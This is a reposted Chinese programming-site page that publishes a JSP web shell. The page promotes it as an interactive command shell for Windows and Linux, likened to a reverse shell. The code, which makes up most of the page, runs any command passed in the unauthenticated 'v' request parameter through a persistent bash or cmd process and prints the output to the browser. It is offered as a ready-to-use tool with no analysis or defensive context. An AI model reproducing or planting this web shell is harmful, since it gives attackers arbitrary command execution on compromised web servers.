您现在的位置:汉网天下 > 编程开发 >

支持dir等命令的jsp cmdshell

来源:Internet  作者:未知 责任编辑:汉网天下 发表时间:2009-10-30 22:23 点击:

 一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。

转载请注明出处:

Made By 孤水绕城

QQ:540410588

Blog:http://hi.baidu.com/540410588/

<%@page contentType="text/html;charset=gb2312"%>
<%@ page import="java.io.*"%>
<%
    File f = new File("/");
    String txt=(String)session.getAttribute("txt");
      Process pro=(Process)session.getAttribute("cmd");
    String v = request.getParameter("v");
    boolean isLinux=System.getProperty("os.name").startsWith("Linux");
    if(pro==null)
    {
      if(isLinux){
      pro=Runtime.getRuntime().exec("bash",null,f);
      }else{
      pro=Runtime.getRuntime().exec("cmd",null,f);
     
      }
      session.setAttribute("cmd",pro);
      txt="";
    }
    if(v.equals("clear")){
      txt="";
      return;
    }else if(v.equals("exit"))
    {
      session.removeAttribute("cmd");
    }
    if(v!=null)
    {
     v=v+"\r\n";
     OutputStream os=pro.getOutputStream();  
     os.write(v.getBytes());
     os.flush();
    }
    if(v!=null||(txt.length()==0))
    {
     InputStream is=pro.getInputStream();
     for(int i=0;i<10||is.available()>0;i++)
     {
     if(i==9)is=pro.getErrorStream();
     if(is.available()==0)
     {
      Thread.sleep(500L);
     }else
     {
      i=0;
      byte by[]=new byte[is.available()];
      is.read(by);
      String str=new String(by).replaceAll("<","&lt;");
      int cls=str.lastIndexOf("\f");
      txt=cls==-1?txt+str:str.substring(cls+1);
     }
     }
     session.setAttribute("txt",txt);
    }
    out.print("<pre>"+txt+"</pre>");
   out.print("Made By 孤水绕城");
%>

 

    顶一下
    (0)
    0%
    踩一下
    (0)
    0%
    发表评论
    请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
    验证码:点击我更换图片
    最新评论 更多>>
    广告服务 - 关于汉网天下 - 客户服务 - 版权申明 - 友情链接 - 网站地图 - TAG标签 - RSS订阅
    Copyright © 2009-2011 hanwangtx.com 汉网天下技术 版权所有
    友情联系QQ:530275807
    滇ICP备09010630号